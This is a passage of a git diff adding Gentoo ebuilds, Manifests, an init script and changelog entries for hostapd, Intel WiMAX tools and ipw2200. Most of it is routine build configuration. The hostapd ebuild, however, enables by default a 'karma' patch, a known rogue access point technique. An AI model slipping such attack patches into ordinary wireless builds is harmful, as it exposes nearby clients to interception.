${CONFIG} + echo "CONFIG_PEERKEY=y" >> ${CONFIG} + echo "CONFIG_RSN_PREAUTH=y" >> ${CONFIG} + echo "CONFIG_INTERWORKING=y" >> ${CONFIG} + + if use ipv6; then + # IPv6 support + echo "CONFIG_IPV6=y" >> ${CONFIG} + fi + + if ! use debug; then + echo "CONFIG_NO_STDOUT_DEBUG=y" >> ${CONFIG} + fi + + # If we are using libnl 2.0 and above, enable support for it + # Removed for now, since the 3.2 version is broken, and we don't + # support it. + if has_version ">=dev-libs/libnl-3.2"; then + echo "CONFIG_LIBNL32=y" >> .config + fi + + # TODO: Add support for BSD drivers + + default_src_configure +} + +src_compile() { + emake V=1 + + if use ssl; then + emake V=1 nt_password_hash + emake V=1 hlr_auc_gw + fi +} + +src_install() { + insinto /etc/${PN} + doins ${PN}.{conf,accept,deny,eap_user,radius_clients,sim_db,wpa_psk} + + fperms -R 600 /etc/${PN} + + dosbin ${PN} + dobin ${PN}_cli + + use ssl && dobin nt_password_hash hlr_auc_gw + + newinitd "${FILESDIR}"/${PN}-init.d ${PN} + newconfd "${FILESDIR}"/${PN}-conf.d ${PN} + + doman ${PN}{.8,_cli.1} + + dodoc ChangeLog README + use wps && dodoc README-WPS + + docinto examples + dodoc wired.conf + + if use logwatch; then + insinto /etc/log.d/conf/services/ + doins logwatch/${PN}.conf + + exeinto /etc/log.d/scripts/services/ + doexe logwatch/${PN} + fi +} + +pkg_postinst() { + einfo + einfo "In order to use ${PN} you need to set up your wireless card" + einfo "for master mode in /etc/conf.d/net and then start" + einfo "/etc/init.d/${PN}." + einfo + einfo "Example configuration:" + einfo + einfo "config_wlan0=( \"192.168.1.1/24\" )" + einfo "channel_wlan0=\"6\"" + einfo "essid_wlan0=\"test\"" + einfo "mode_wlan0=\"master\"" + einfo + if use madwifi; then + einfo "This package compiles against the headers installed by" + einfo "madwifi-old, madwifi-ng or madwifi-ng-tools." + einfo "You should remerge ${PN} after upgrading these packages." + einfo + einfo "Since you are using the madwifi-ng driver, you should disable or" + einfo "comment out wme_enabled from ${PN}.conf, since it will" + einfo "cause problems otherwise (see bug #260377" + fi + #if [ -e "${KV_DIR}"/net/mac80211 ]; then + # einfo "This package now compiles against the headers installed by" + # einfo "the kernel source for the mac80211 driver. You should " + # einfo "re-emerge ${PN} after upgrading your kernel source." + #fi + + if use wps; then + einfo "You have enabled Wi-Fi Protected Setup support, please" + einfo "read the README-WPS file in /usr/share/doc/${P}" + einfo "for info on how to use WPS" + fi +} diff --git a/net-wireless/hostapd/hostapd-1.0-r5.ebuild b/net-wireless/hostapd/hostapd-1.0-r5.ebuild new file mode 100644 index 00000000..1747ddc9 --- /dev/null +++ b/net-wireless/hostapd/hostapd-1.0-r5.ebuild @@ -0,0 +1,207 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/net-wireless/hostapd/hostapd-1.0-r4.ebuild,v 1.4 2012/10/12 00:52:20 blueness Exp $ + +EAPI="4" + +inherit toolchain-funcs eutils + +DESCRIPTION="IEEE 802.11 wireless LAN Host AP daemon" +HOMEPAGE="http://hostap.epitest.fi" +SRC_URI="http://hostap.epitest.fi/releases/${P}.tar.gz" + +LICENSE="|| ( GPL-2 BSD )" +SLOT="0" +KEYWORDS="amd64 ~mips ppc x86" +IUSE="cui debug ipv6 +karma logwatch madwifi +ssl +wps +crda" + +DEPEND="ssl? ( dev-libs/openssl ) + kernel_linux? ( + dev-libs/libnl:3 + crda? ( net-wireless/crda ) + ) + madwifi? ( || + ( >net-wireless/madwifi-ng-tools-0.9.3 + net-wireless/madwifi-old ) )" +RDEPEND="${DEPEND}" + +S="${S}/${PN}" + +src_prepare() { + cd .. + epatch "${FILESDIR}/${P}-libnl_path_fix.patch" + epatch "${FILESDIR}/${P}-tls_length_fix.patch" + use karma && epatch "${FILESDIR}/${P}-karma-0.2.patch" + use cui && epatch "${FILESDIR}/cui-20120417.patch" + + sed -i -e "s:/etc/hostapd:/etc/hostapd/hostapd:g" \ + "${S}/hostapd.conf" || die +} + +src_configure() { + local CONFIG="${S}/.config" + + # toolchain setup + echo "CC = $(tc-getCC)" > ${CONFIG} + + # EAP authentication methods + echo "CONFIG_EAP=y" >> ${CONFIG} + echo "CONFIG_EAP_MD5=y" >> ${CONFIG} + + if use ssl; then + # SSL authentication methods + echo "CONFIG_EAP_TLS=y" >> ${CONFIG} + echo "CONFIG_EAP_TTLS=y" >> ${CONFIG} + echo "CONFIG_EAP_MSCHAPV2=y" >> ${CONFIG} + echo "CONFIG_EAP_PEAP=y" >> ${CONFIG} + fi + + if use wps; then + # Enable Wi-Fi Protected Setup + echo "CONFIG_WPS=y" >> ${CONFIG} + echo "CONFIG_WPS2=y" >> ${CONFIG} + echo "CONFIG_WPS_UPNP=y" >> ${CONFIG} + einfo "Enabling Wi-Fi Protected Setup support" + fi + + echo "CONFIG_EAP_GTC=y" >> ${CONFIG} + echo "CONFIG_EAP_SIM=y" >> ${CONFIG} + echo "CONFIG_EAP_AKA=y" >> ${CONFIG} + echo "CONFIG_EAP_PAX=y" >> ${CONFIG} + echo "CONFIG_EAP_PSK=y" >> ${CONFIG} + echo "CONFIG_EAP_SAKE=y" >> ${CONFIG} + echo "CONFIG_EAP_GPSK=y" >> ${CONFIG} + echo "CONFIG_EAP_GPSK_SHA256=y" >> ${CONFIG} + + einfo "Enabling drivers: " + + # drivers + echo "CONFIG_DRIVER_HOSTAP=y" >> ${CONFIG} + einfo " HostAP driver enabled" + echo "CONFIG_DRIVER_WIRED=y" >> ${CONFIG} + einfo " Wired driver enabled" + echo "CONFIG_DRIVER_PRISM54=y" >> ${CONFIG} + einfo " Prism54 driver enabled" + echo "CONFIG_DRIVER_NONE=y" >> ${CONFIG} + einfo " None driver enabled" + + if use madwifi; then + # Add include path for madwifi-driver headers + einfo " Madwifi driver enabled" + echo "CFLAGS += -I/usr/include/madwifi" >> ${CONFIG} + echo "CONFIG_DRIVER_MADWIFI=y" >> ${CONFIG} + else + einfo " Madwifi driver disabled" + fi + + einfo " nl80211 driver enabled" + echo "CONFIG_DRIVER_NL80211=y" >> ${CONFIG} + echo "CFLAGS += -I/usr/include/netlink" >> ${CONFIG} + echo "LIBS += -L/usr/lib" >> ${CONFIG} + + # misc + echo "CONFIG_PKCS12=y" >> ${CONFIG} + echo "CONFIG_RADIUS_SERVER=y" >> ${CONFIG} + echo "CONFIG_IAPP=y" >> ${CONFIG} + echo "CONFIG_IEEE80211R=y" >> ${CONFIG} + echo "CONFIG_IEEE80211W=y" >> ${CONFIG} + echo "CONFIG_IEEE80211N=y" >> ${CONFIG} + echo "CONFIG_PEERKEY=y" >> ${CONFIG} + echo "CONFIG_RSN_PREAUTH=y" >> ${CONFIG} + echo "CONFIG_INTERWORKING=y" >> ${CONFIG} + + if use ipv6; then + # IPv6 support + echo "CONFIG_IPV6=y" >> ${CONFIG} + fi + + if ! use debug; then + echo "CONFIG_NO_STDOUT_DEBUG=y" >> ${CONFIG} + fi + + # If we are using libnl 2.0 and above, enable support for it + # Removed for now, since the 3.2 version is broken, and we don't + # support it. + if has_version ">=dev-libs/libnl-3.2"; then + echo "CONFIG_LIBNL32=y" >> .config + fi + + # TODO: Add support for BSD drivers + + default_src_configure +} + +src_compile() { + emake V=1 + + if use ssl; then + emake V=1 nt_password_hash + emake V=1 hlr_auc_gw + fi +} + +src_install() { + insinto /etc/${PN} + doins ${PN}.{conf,accept,deny,eap_user,radius_clients,sim_db,wpa_psk} + + fperms -R 600 /etc/${PN} + + dosbin ${PN} + dobin ${PN}_cli + + use ssl && dobin nt_password_hash hlr_auc_gw + + newinitd "${FILESDIR}"/${PN}-init.d ${PN} + newconfd "${FILESDIR}"/${PN}-conf.d ${PN} + + doman ${PN}{.8,_cli.1} + + dodoc ChangeLog README + use wps && dodoc README-WPS + + docinto examples + dodoc wired.conf + + if use logwatch; then + insinto /etc/log.d/conf/services/ + doins logwatch/${PN}.conf + + exeinto /etc/log.d/scripts/services/ + doexe logwatch/${PN} + fi +} + +pkg_postinst() { + einfo + einfo "In order to use ${PN} you need to set up your wireless card" + einfo "for master mode in /etc/conf.d/net and then start" + einfo "/etc/init.d/${PN}." + einfo + einfo "Example configuration:" + einfo + einfo "config_wlan0=( \"192.168.1.1/24\" )" + einfo "channel_wlan0=\"6\"" + einfo "essid_wlan0=\"test\"" + einfo "mode_wlan0=\"master\"" + einfo + if use madwifi; then + einfo "This package compiles against the headers installed by" + einfo "madwifi-old, madwifi-ng or madwifi-ng-tools." + einfo "You should remerge ${PN} after upgrading these packages." + einfo + einfo "Since you are using the madwifi-ng driver, you should disable or" + einfo "comment out wme_enabled from ${PN}.conf, since it will" + einfo "cause problems otherwise (see bug #260377" + fi + #if [ -e "${KV_DIR}"/net/mac80211 ]; then + # einfo "This package now compiles against the headers installed by" + # einfo "the kernel source for the mac80211 driver. You should " + # einfo "re-emerge ${PN} after upgrading your kernel source." + #fi + + if use wps; then + einfo "You have enabled Wi-Fi Protected Setup support, please" + einfo "read the README-WPS file in /usr/share/doc/${P}" + einfo "for info on how to use WPS" + fi +} diff --git a/net-wireless/hostapd/metadata.xml b/net-wireless/hostapd/metadata.xml new file mode 100644 index 00000000..f20867c4 --- /dev/null +++ b/net-wireless/hostapd/metadata.xml @@ -0,0 +1,21 @@ + + + + mobile + + gurligebis@gentoo.org + Bjarke Istrup Pedersen + + + User space daemon for the hostap-driver. + Extended IEEE 802.11 management, IEEE 802.1X Authenticator, + RADIUS Authentication client, RADIUS Accounting client + + + Enables debugging + Install support files for + sys-app/logwatch + Add support for madwifi (Atheros chipset) + Add support for Wi-Fi Protected Setup + + diff --git a/net-wireless/intel-wimax-binary-supplicant/Manifest b/net-wireless/intel-wimax-binary-supplicant/Manifest new file mode 100644 index 00000000..0ed504fa --- /dev/null +++ b/net-wireless/intel-wimax-binary-supplicant/Manifest @@ -0,0 +1,4 @@ +AUX 50-intel-wimax-binary-supplicant 45 RMD160 46711ead5a6004251de62705d5891a359c33814d SHA1 f719e882b255318e56c9a2bcdeed5933b2ad65b0 SHA256 91bd4adab801e226d3ebe736eec25b6da116580705cb6ef47c65fd7c2645d31e +AUX install-to-usr-lib.patch 497 RMD160 b4ed0cbfaaf7820d4e97def5c2dda6b319c3497b SHA1 62c83eedfb166dac0ef814d14f8246abf0ee4222 SHA256 20631e0db3838f80011ee07f55243bee51fce64f02956a396578bcf14d891241 +DIST Intel-WiMAX-Binary-Supplicant-1.4.0.tar.bz2 237353 RMD160 086b294a299c45a4a239170fa13fd04bea343a01 SHA1 458edd676589d6015aed1135e8f9852dc91d9aca SHA256 e5eb91f8d07a6687c9a68126035caf4c73ea326fc4b48ab7fbbd8357d981f1ac +EBUILD intel-wimax-binary-supplicant-1.4.0.ebuild 812 RMD160 3c580edd56cae5cc3f3d6040c45044cafbe80510 SHA1 6660c0809bd04fa9e8ddf948c7a93d483b14252f SHA256 5e9c9d5e97c90a9d28ce3c3ba0eb20deff11b32cf3d2b4628b1620559afa15b0 diff --git a/net-wireless/intel-wimax-binary-supplicant/files/50-intel-wimax-binary-supplicant b/net-wireless/intel-wimax-binary-supplicant/files/50-intel-wimax-binary-supplicant new file mode 100644 index 00000000..a4466bdb --- /dev/null +++ b/net-wireless/intel-wimax-binary-supplicant/files/50-intel-wimax-binary-supplicant @@ -0,0 +1 @@ +LD_LIBRARY_MASK=libwpa_wimax_supplicant.so.0 diff --git a/net-wireless/intel-wimax-binary-supplicant/files/install-to-usr-lib.patch b/net-wireless/intel-wimax-binary-supplicant/files/install-to-usr-lib.patch new file mode 100644 index 00000000..d9bb5cb1 --- /dev/null +++ b/net-wireless/intel-wimax-binary-supplicant/files/install-to-usr-lib.patch @@ -0,0 +1,12 @@ +diff -Naur Intel-WiMAX-Binary-Supplicant-1.4.0/install_supplicant.sh Intel-WiMAX-Binary-Supplicant-1.4.0-nonlocal/install_supplicant.sh +--- Intel-WiMAX-Binary-Supplicant-1.4.0/install_supplicant.sh 2009-01-28 19:03:57.000000000 -0500 ++++ Intel-WiMAX-Binary-Supplicant-1.4.0-nonlocal/install_supplicant.sh 2009-08-20 14:05:02.000000000 -0400 +@@ -39,7 +39,7 @@ + target= + + DESTDIR=${DESTDIR:-} +-lib_dir=$DESTDIR/usr/local/lib/$project_name ++lib_dir=$DESTDIR/usr/lib/$project_name + + create_dir() + { diff --git a/net-wireless/intel-wimax-binary-supplicant/intel-wimax-binary-supplicant-1.4.0.ebuild b/net-wireless/intel-wimax-binary-supplicant/intel-wimax-binary-supplicant-1.4.0.ebuild new file mode 100644 index 00000000..50661cfc --- /dev/null +++ b/net-wireless/intel-wimax-binary-supplicant/intel-wimax-binary-supplicant-1.4.0.ebuild @@ -0,0 +1,29 @@ +# Copyright 1999-2009 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=2 + +inherit eutils + +MY_P=Intel-WiMAX-Binary-Supplicant-${PV} +DESCRIPTION="Authentication information for WiMax Networks" +HOMEPAGE="http://www.linuxwimax.org/" +SRC_URI="http://www.linuxwimax.org/Download?action=AttachFile&do=get&target=${MY_P}.tar.bz2 -> ${MY_P}.tar.bz2" +LICENSE="IFDBL" +SLOT="0" +KEYWORDS="~x86" +IUSE="" + +S="${WORKDIR}/${MY_P}" + +src_prepare() { + epatch "${FILESDIR}"/install-to-usr-lib.patch +} + +src_install() { + DESTDIR=${D} ./install_supplicant.sh install || dir "install_supplicant.sh failed" + dodoc README || die "Failed to find README" + insinto /etc/revdep-rebuild + doins "${FILESDIR}"/50-intel-wimax-binary-supplicant || die "failed to install revdep-rebuild fix" +} diff --git a/net-wireless/intel-wimax-network-service/Manifest b/net-wireless/intel-wimax-network-service/Manifest new file mode 100644 index 00000000..6728e60a --- /dev/null +++ b/net-wireless/intel-wimax-network-service/Manifest @@ -0,0 +1,4 @@ +AUX wimax 433 RMD160 7c9291b4189588547c854cc36477d7c413ca6ad4 SHA1 c5d9a10d018a8144ccf441409c9db54117489dc9 SHA256 1dfa24bb9d83ad711a9331b917fc7a37ac4d439d13bb82b90d0b8dff0ebf343c +DIST WiMAX-Network-Service-1.4.0.tar.bz2 1360859 RMD160 518678f32275e1c890c7a1f4266732a2ec9dedda SHA1 4b6e174ba7b604474ab0ced72d78c9ebfa66749d SHA256 a421b2f6e7912280cbddc6818892b4bffa4da0ff5347a9d26ddbcb81e99963ec +EBUILD intel-wimax-network-service-1.4.0-r1.ebuild 1101 RMD160 8d588a0c4005c9fca6017ea8bc1d98d7bec2b226 SHA1 f946c9bb15cc044e2dbc11bedf45e5850948a7d5 SHA256 3568032f277f7025215d29c4f80634106af2e3c18000b0dd335e37dad0e74681 +EBUILD intel-wimax-network-service-1.4.0.ebuild 952 RMD160 01c8a7b9ca6cb8ca36263707312cc80b97fd22fd SHA1 6247a11815facc5fbd6a8ff1ea06079316ed8da6 SHA256 ba9dec9d63b0d6123dd989e71b3535845b59b233da0632b1d2bef7939a322e3e diff --git a/net-wireless/intel-wimax-network-service/files/wimax b/net-wireless/intel-wimax-network-service/files/wimax new file mode 100755 index 00000000..201c43a5 --- /dev/null +++ b/net-wireless/intel-wimax-network-service/files/wimax @@ -0,0 +1,21 @@ +#!/sbin/runscript + +description="WiMAX Network Service" + +depend() { + need localmount + after bootmisc +} + +start() { + ebegin "Starting WiMAX Network Service" + [ -e /var/run/wimaxd.pid ] && rm -f /var/run/wimaxd.pid + start-stop-daemon --start --quiet --pidfile /var/run/wimax.pid --exec /usr/bin/wimaxd + eend $? +} + +stop() { + ebegin "Stoping WiMAX Network Service" + start-stop-daemon --stop --quiet --pidfile /var/run/wimax.pid + eend $? +} diff --git a/net-wireless/intel-wimax-network-service/intel-wimax-network-service-1.4.0-r1.ebuild b/net-wireless/intel-wimax-network-service/intel-wimax-network-service-1.4.0-r1.ebuild new file mode 100644 index 00000000..faf768f4 --- /dev/null +++ b/net-wireless/intel-wimax-network-service/intel-wimax-network-service-1.4.0-r1.ebuild @@ -0,0 +1,37 @@ +# Copyright 1999-2009 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=2 + +inherit linux-info multilib + +MY_P="WiMAX-Network-Service-${PV}" +DESCRIPTION="Intel WiMAX daemon used to interface to the hardware" +HOMEPAGE="http://www.linuxwimax.org/" +SRC_URI="http://www.linuxwimax.org/Download?action=AttachFile&do=get&target=${MY_P}.tar.bz2 -> ${MY_P}.tar.bz2" + +LICENSE="BSD" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="" + +DEPEND=">=dev-libs/libnl-1.1 + >=sys-kernel/linux-headers-2.6.30-r1" + #is this the first headers version with /usr/include/linux/wimax.h? + #is it close enough for me to not care anymore? +RDEPEND="${DEPEND} + net-wireless/intel-wimax-tools + net-wireless/intel-wimax-binary-supplicant" + +S="${WORKDIR}/${MY_P}" + +src_configure() { + econf --prefix=/usr --localstatedir=/var --with-libwimaxll=/usr/$(get_libdir) --with-i2400m=/usr || die "econf failed" +} + +src_install() { + emake DESTDIR="${D}" install || die "Install failed" + doinitd "${FILESDIR}"/wimax || die "failed to place the init daemon" + dodoc README || die "Failed to find README" +} diff --git a/net-wireless/intel-wimax-network-service/intel-wimax-network-service-1.4.0.ebuild b/net-wireless/intel-wimax-network-service/intel-wimax-network-service-1.4.0.ebuild new file mode 100644 index 00000000..7836e944 --- /dev/null +++ b/net-wireless/intel-wimax-network-service/intel-wimax-network-service-1.4.0.ebuild @@ -0,0 +1,34 @@ +# Copyright 1999-2009 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=2 + +inherit linux-info multilib + +MY_P="WiMAX-Network-Service-${PV}" +DESCRIPTION="Intel WiMAX daemon used to interface to the hardware" +HOMEPAGE="http://www.linuxwimax.org/" +SRC_URI="http://www.linuxwimax.org/Download?action=AttachFile&do=get&target=${MY_P}.tar.bz2 -> ${MY_P}.tar.bz2" + +LICENSE="BSD" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="" + +DEPEND=">=dev-libs/libnl-1.1" +RDEPEND="${DEPEND} + net-wireless/intel-wimax-tools + net-wireless/intel-wimax-binary-supplicant" + +S="${WORKDIR}/${MY_P}" + +src_configure() { + econf --prefix=/usr --localstatedir=/var --with-libwimaxll=/usr/$(get_libdir) --with-i2400m="${KV_DIR}" || die "econf failed" +} + +src_install() { + emake DESTDIR="${D}" install || die "Install failed" + doinitd "${FILESDIR}"/wimax || die "failed to place the init daemon" + dodoc README || die "Failed to find README" +} diff --git a/net-wireless/intel-wimax-tools/Manifest b/net-wireless/intel-wimax-tools/Manifest new file mode 100644 index 00000000..9debc18d --- /dev/null +++ b/net-wireless/intel-wimax-tools/Manifest @@ -0,0 +1,4 @@ +DIST wimax-tools-1.4.2.1.tar.bz2 285523 RMD160 108977a0cdb28144875180500c0efa2146111ff2 SHA1 0e42bd233bd758dab67840e4406d56b5aec5ad7b SHA256 499a0879b51a9f021367365795746aa6a8c9c7009ad400f4fe850094883623e3 +DIST wimax-tools-1.4.2.tar.bz2 283674 RMD160 7dfd59f090dccb32f3f9ffb5546cfe4e72d108de SHA1 834221ef3739e3803c2c25de2ebf701f28cee897 SHA256 b1ffe56ad8ac4897011caf143b2ef33a9692fac71f1b03a6d83d459b19649330 +EBUILD intel-wimax-tools-1.4.2.1.ebuild 648 RMD160 9e4d5485f847bcdd03d5799827fc9271ad611f70 SHA1 17a9e7e052aab700f670f1df6d9cff185f2f1cff SHA256 1f567dd0a2d6d055a90e58fd3762609866d38e901e88b85f869ed46d19d242c4 +EBUILD intel-wimax-tools-1.4.2.ebuild 648 RMD160 9e4d5485f847bcdd03d5799827fc9271ad611f70 SHA1 17a9e7e052aab700f670f1df6d9cff185f2f1cff SHA256 1f567dd0a2d6d055a90e58fd3762609866d38e901e88b85f869ed46d19d242c4 diff --git a/net-wireless/intel-wimax-tools/intel-wimax-tools-1.4.2.1.ebuild b/net-wireless/intel-wimax-tools/intel-wimax-tools-1.4.2.1.ebuild new file mode 100644 index 00000000..b19fe5bd --- /dev/null +++ b/net-wireless/intel-wimax-tools/intel-wimax-tools-1.4.2.1.ebuild @@ -0,0 +1,35 @@ +# Copyright 1999-2009 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=2 + +inherit linux-info + +MY_P="wimax-tools-${PV}" +DESCRIPTION="Tools to use Intel's WiMax cards" +HOMEPAGE="http://www.linuxwimax.org" +SRC_URI="http://kernel.org/pub/linux/kernel/people/inaky/${MY_P}.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="" + +DEPEND=">=sys-kernel/linux-headers-2.6.29" +RDEPEND="" + +S="${WORKDIR}/${MY_P}" + +src_configure() { + econf +} + +src_compile() { + emake -j1 || die "Compile failed" +} + +src_install() { + einstall || die "Install failed" + dodoc README || die "Failed to find README" +} diff --git a/net-wireless/intel-wimax-tools/intel-wimax-tools-1.4.2.ebuild b/net-wireless/intel-wimax-tools/intel-wimax-tools-1.4.2.ebuild new file mode 100644 index 00000000..b19fe5bd --- /dev/null +++ b/net-wireless/intel-wimax-tools/intel-wimax-tools-1.4.2.ebuild @@ -0,0 +1,35 @@ +# Copyright 1999-2009 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=2 + +inherit linux-info + +MY_P="wimax-tools-${PV}" +DESCRIPTION="Tools to use Intel's WiMax cards" +HOMEPAGE="http://www.linuxwimax.org" +SRC_URI="http://kernel.org/pub/linux/kernel/people/inaky/${MY_P}.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="" + +DEPEND=">=sys-kernel/linux-headers-2.6.29" +RDEPEND="" + +S="${WORKDIR}/${MY_P}" + +src_configure() { + econf +} + +src_compile() { + emake -j1 || die "Compile failed" +} + +src_install() { + einstall || die "Install failed" + dodoc README || die "Failed to find README" +} diff --git a/net-wireless/ipw2200/ChangeLog b/net-wireless/ipw2200/ChangeLog new file mode 100644 index 00000000..5c4dc899 --- /dev/null +++ b/net-wireless/ipw2200/ChangeLog @@ -0,0 +1,396 @@ +# ChangeLog for net-wireless/ipw2200 +# Copyright 1999-2006 Gentoo Foundation; Distributed under the GPL v2 +# $Header: /var/cvsroot/gentoo-x86/net-wireless/ipw2200/ChangeLog,v 1.70 2006/09/13 12:33:35 phreak Exp $ + +*ipw2200-1.2.0 (13 Sep 2006) + + 13 Sep 2006; Christian Heim + +files/ipw2200-1.2.0-modverdir.patch, +ipw2200-1.2.0.ebuild: + Version bump. Fixes #147319 (thanks David Li for reporting). + +*ipw2200-1.1.3 (13 Jul 2006) + + 13 Jul 2006; Christian Heim + +files/ipw2200-1.1.3-modverdir.patch, metadata.xml, +ipw2200-1.1.3.ebuild: + Version bump; Taking temporary maintainership + + 30 Apr 2006; Henrik Brix Andersen + -files/ipw2200-1.0.8-broadcast.patch, + -files/ipw2200-1.0.8-slabcorrupt.patch, -files/ipw2200-1.0.8-txbusy.patch, + -files/ipw2200-1.0.9-qos.patch, -files/ipw2200-1.0.11-debug.patch, + -files/ipw2200-1.1.1-diversity.patch, + -files/ipw2200-1.1.1-fw_endian.patch, -ipw2200-1.0.8-r1.ebuild, + -ipw2200-1.0.9.ebuild, -ipw2200-1.0.10.ebuild, -ipw2200-1.0.11.ebuild, + -ipw2200-1.0.11-r1.ebuild, -ipw2200-1.0.12.ebuild, -ipw2200-1.0.13.ebuild, + -ipw2200-1.1.0.ebuild, -ipw2200-1.1.1.ebuild, -ipw2200-1.1.1-r1.ebuild, + -ipw2200-1.1.2.ebuild: + Pruned old ebuilds. + + 22 Apr 2006; Henrik Brix Andersen + ipw2200-1.1.2-r1.ebuild: + Stable on x86. + +*ipw2200-1.1.2-r1 (11 Apr 2006) + + 11 Apr 2006; Henrik Brix Andersen + +files/ipw2200-1.1.2-cflags.patch, +files/ipw2200-1.1.2-scan_fix.patch, + +ipw2200-1.1.2-r1.ebuild: + Add a couple of patches from upstream. + + 02 Apr 2006; Henrik Brix Andersen + files/digest-ipw2200-1.1.2, Manifest: + Updated digest to match changed distribution file, thanks to StijnT. + + 26 Mar 2006; Henrik Brix Andersen ipw2200-1.1.0.ebuild: + Stable on x86. + + 25 Mar 2006; Henrik Brix Andersen + -files/ipw2200-1.1.1-rtap_iface.patch, ipw2200-1.1.1-r1.ebuild: + Move large patch to mirrors, thanks to Halcy0n in bug #123634. + +*ipw2200-1.1.1-r1 (24 Mar 2006) + + 24 Mar 2006; Henrik Brix Andersen + +files/ipw2200-1.1.1-diversity.patch, + +files/ipw2200-1.1.1-fw_endian.patch, + +files/ipw2200-1.1.1-rtap_iface.patch, +ipw2200-1.1.1-r1.ebuild: + Added various updates from upstream. + +*ipw2200-1.1.1 (08 Mar 2006) + + 08 Mar 2006; Henrik Brix Andersen +ipw2200-1.1.1.ebuild: + Version bump. + +*ipw2200-1.1.0 (24 Feb 2006) + + 24 Feb 2006; Henrik Brix Andersen +ipw2200-1.1.0.ebuild: + Version bump. + + 23 Feb 2006; Henrik Brix Andersen + -files/ipw2200-1.0.1-is_multicast_ether_addr.patch, + -files/ipw2200-1.0.1-suspend2.patch, + -files/ipw2200-1.0.3-is_multicast_ether_addr.patch, + -files/ipw2200-1.0.3-suspend2.patch, + -files/ipw2200-1.0.4-is_multicast_ether_addr.patch, + -files/ipw2200-1.0.6-a_txpow.patch, -files/ipw2200-1.0.6-broadcast.patch, + -files/ipw2200-1.0.6-channel_change_fw_err.patch, + -files/ipw2200-1.0.6-dup-without-retry.patch, + -files/ipw2200-1.0.6-hwcrypt-wpa-fix4.patch, + -files/ipw2200-1.0.6-ibss-wep.patch, -files/ipw2200-1.0.6-init_scan.patch, + -files/ipw2200-1.0.6-irq_override.patch, + -files/ipw2200-1.0.6-monitor_wep_fix.patch, + -files/ipw2200-1.0.6-open_frag.patch, + -files/ipw2200-1.0.6-pci_link-fix.patch, + -files/ipw2200-1.0.6-reset-mode-fix.patch, + -files/ipw2200-1.0.6-suspend2.patch, -files/ipw2200-1.0.7-broadcast.patch, + -files/ipw2200-1.0.7-wireless_ext-capa.patch, -ipw2200-1.0.1.ebuild, + -ipw2200-1.0.3.ebuild, -ipw2200-1.0.4.ebuild, -ipw2200-1.0.5.ebuild, + -ipw2200-1.0.6.ebuild, -ipw2200-1.0.6-r1.ebuild, -ipw2200-1.0.6-r2.ebuild, + -ipw2200-1.0.6-r3.ebuild, -ipw2200-1.0.7.ebuild, -ipw2200-1.0.7-r1.ebuild, + -ipw2200-1.0.8.ebuild: + Pruned old ebuilds. + + 22 Feb 2006; Henrik Brix Andersen ipw2200-1.0.10.ebuild: + Stable on x86. + +*ipw2200-1.0.13 (22 Feb 2006) + + 22 Feb 2006; Henrik Brix Andersen + +ipw2200-1.0.13.ebuild: + Version bump. + +*ipw2200-1.0.12 (17 Feb 2006) + + 17 Feb 2006; Henrik Brix Andersen + +ipw2200-1.0.12.ebuild: + Version bump. + +*ipw2200-1.0.11-r1 (15 Feb 2006) + + 15 Feb 2006; Henrik Brix Andersen + +files/ipw2200-1.0.11-debug.patch, +ipw2200-1.0.11-r1.ebuild: + Fix debug support. + +*ipw2200-1.0.11 (15 Feb 2006) + + 15 Feb 2006; Henrik Brix Andersen + +ipw2200-1.0.11.ebuild: + Version bump. + +*ipw2200-1.0.10 (09 Jan 2006) + + 09 Jan 2006; Henrik Brix Andersen + +ipw2200-1.0.10.ebuild: + Version bump. + +*ipw2200-1.0.9 (06 Jan 2006) + + 06 Jan 2006; Henrik Brix Andersen + +files/ipw2200-1.0.9-qos.patch, +ipw2200-1.0.9.ebuild: + Version bump. + + 17 Nov 2005; Henrik Brix Andersen + ipw2200-1.0.8-r1.ebuild: + Stable on x86. + +*ipw2200-1.0.8-r1 (17 Nov 2005) + + 17 Nov 2005; Henrik Brix Andersen + +files/ipw2200-1.0.8-broadcast.patch, + +files/ipw2200-1.0.8-slabcorrupt.patch, +files/ipw2200-1.0.8-txbusy.patch, + +ipw2200-1.0.8-r1.ebuild: + Added a few upstream patches. + +*ipw2200-1.0.8 (21 Oct 2005) + + 21 Oct 2005; Henrik Brix Andersen +ipw2200-1.0.8.ebuild: + Version bump. + +*ipw2200-1.0.7-r1 (20 Oct 2005) + + 20 Oct 2005; Henrik Brix Andersen + +files/ipw2200-1.0.7-broadcast.patch, + +files/ipw2200-1.0.7-wireless_ext-capa.patch, +ipw2200-1.0.7-r1.ebuild: + Patch from upstream to fix broadcast issues and compile problems with older + wireless extensions. + +*ipw2200-1.0.7 (18 Oct 2005) + + 18 Oct 2005; Henrik Brix Andersen +ipw2200-1.0.7.ebuild: + Version bump. + + 15 Oct 2005; Henrik Brix Andersen + ipw2200-1.0.6-r3.ebuild: + Stable on x86, bug #108613. + + 08 Sep 2005; Henrik Brix Andersen + ipw2200-1.0.6-r3.ebuild: + Updated to depend on >=net-wireless/ieee80211-1.0.3-r2, bug #105235. + +*ipw2200-1.0.6-r3 (06 Sep 2005) + + 06 Sep 2005; Henrik Brix Andersen + +files/ipw2200-1.0.6-a_txpow.patch, files/ipw2200-1.0.6-broadcast.patch, + +files/ipw2200-1.0.6-channel_change_fw_err.patch, + +files/ipw2200-1.0.6-dup-without-retry.patch, + +files/ipw2200-1.0.6-ibss-wep.patch, +files/ipw2200-1.0.6-init_scan.patch, + +files/ipw2200-1.0.6-irq_override.patch, + +files/ipw2200-1.0.6-monitor_wep_fix.patch, + +files/ipw2200-1.0.6-open_frag.patch, + +files/ipw2200-1.0.6-pci_link-fix.patch, + +files/ipw2200-1.0.6-reset-mode-fix.patch, 